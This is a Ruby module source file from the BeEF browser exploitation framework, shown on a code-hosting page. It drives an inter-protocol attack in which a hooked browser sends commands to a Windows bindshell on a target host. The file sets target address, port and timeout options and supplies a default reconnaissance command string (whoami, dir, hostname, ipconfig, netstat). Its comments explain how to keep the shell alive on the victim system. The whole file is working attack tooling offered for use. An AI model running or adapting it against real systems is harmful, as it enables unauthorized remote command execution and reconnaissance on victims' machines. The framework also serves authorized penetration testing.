Path: blob/master/modules/ipec/inter_protocol_win_bindshell/module.rb
1154 views
#1# Copyright (c) 2006-2025 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4#5# The bindshell is closed once the module has completed. This is necessary otherwise the cmd.exe process will hang. To avoid this issue:6# - use the netcat persistent listen "-L" option rather than the listen "-l" option; or7# - remove the "& exit" portion of the JavaScript payload. Be aware that this will leave redundant cmd.exe processes running on the target system.8#9# Returning the shell command results is not supported in Firefox ~16+, IE, Chrome, Safari and Opera as JavaScript cannot be executed within the bindshell iframe due to content-type restrictions. The shell commands are executed on the target shell however.1011class Inter_protocol_win_bindshell < BeEF::Core::Command12def self.options13[14{ 'name' => 'rhost', 'ui_label' => 'Target Address', 'value' => '127.0.0.1' },15{ 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '4444' },16{ 'name' => 'timeout', 'ui_label' => 'Timeout (s)', 'value' => '30' },17{ 'name' => 'commands', 'ui_label' => 'Shell Commands', 'description' => 'Enter shell commands to execute. Note: ampersands are required to seperate commands', 'type' => 'textarea',18'value' => 'echo User: & whoami & echo Directory Path: & pwd & echo Directory Contents: & dir & echo HostName: & hostname & ipconfig & netstat -an', 'width' => '200px' }19]20end2122def post_execute23content = {}24content['result'] = @datastore['result'] unless @datastore['result'].nil?25content['fail'] = @datastore['fail'] unless @datastore['fail'].nil?26save content27end28end293031